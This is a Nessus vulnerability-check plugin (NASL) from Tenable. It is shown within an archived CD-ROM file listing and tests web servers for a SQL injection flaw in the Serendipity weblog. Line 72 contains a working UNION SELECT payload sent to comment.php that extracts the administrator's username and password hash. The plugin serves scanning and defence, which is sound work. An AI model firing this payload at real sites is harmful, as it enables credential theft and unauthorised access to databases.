home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / serendipity_sql.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  90 lines

  1. #
  2. # This script is (C) Tenable Network Security
  3. #
  4. #
  5.  
  6.  
  7.  
  8.  
  9. if(description)
  10. {
  11.  script_id(14842);
  12.  script_bugtraq_id(11269);
  13.  script_version ("$Revision: 1.3 $");
  14.  
  15.  name["english"] = "Serendipity SQL Injections";
  16.  
  17.  script_name(english:name["english"]);
  18.  
  19.  desc["english"] = "
  20. The remote host is running Serendipity, a weblog written in PHP.
  21.  
  22. The remote version of this software is vulnerable to a SQL injection 
  23. issue due to a failure of the application to properly sanitize user-supplied 
  24. URI input.
  25.  
  26. An attacker may exploit this flaw to issue arbitrary statements in the 
  27. remote database, and therefore bypass authorization or even overwrite 
  28. arbitrary files on the remote system
  29.  
  30. Solution : Upgrade to Serendipity 0.7.0beta3 or newer
  31. Risk factor : High";
  32.  
  33.  
  34.  
  35.  
  36.  script_description(english:desc["english"]);
  37.  
  38.  summary["english"] = "Checks for the presence of serendipity";
  39.  
  40.  script_summary(english:summary["english"]);
  41.  
  42.  script_category(ACT_ATTACK);
  43.  
  44.  
  45.  script_copyright(english:"This script is Copyright (C) 2004 Tenable Network Security",
  46.         francais:"Ce script est Copyright (C) 2004 Tenable Network Security");
  47.  family["english"] = "CGI abuses";
  48.  family["francais"] = "Abus de CGI";
  49.  script_family(english:family["english"], francais:family["francais"]);
  50.  script_dependencie("find_service.nes", "http_version.nasl");
  51.  script_require_ports("Services/www", 80);
  52.  exit(0);
  53. }
  54.  
  55. #
  56. # The script code starts here
  57. #
  58.  
  59.  
  60. include("http_func.inc");
  61. include("http_keepalive.inc");
  62.  
  63. port = get_http_port(default:80);
  64.  
  65. if(!get_port_state(port))exit(0);
  66. if(!can_host_php(port:port))exit(0);
  67.  
  68.  
  69.  
  70. function check(loc)
  71. {
  72.  req = http_get(item:string(loc, "/comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20from%20serendipity_authors%20where%20authorid=1%20/*"), port:port);            
  73.  r = http_keepalive_send_recv(port:port, data:req, bodyonly:1);
  74.  if( r == NULL )exit(0);
  75.  if( egrep(pattern:"<b>Weblog: </b> [a-f0-9]*<br />", string:r) &&
  76.      "0 and 0 union select 1,2,3,4,username,password,7,8,9,0,1,2,3 from serendipity_authors where authorid=1" >< r )
  77.  {
  78.      security_hole(port);
  79.     exit(0);
  80.  }
  81. }
  82.  
  83.  
  84.  
  85.  
  86. foreach dir ( cgi_dirs() )
  87. {
  88.  check(loc:dir);
  89. }
  90.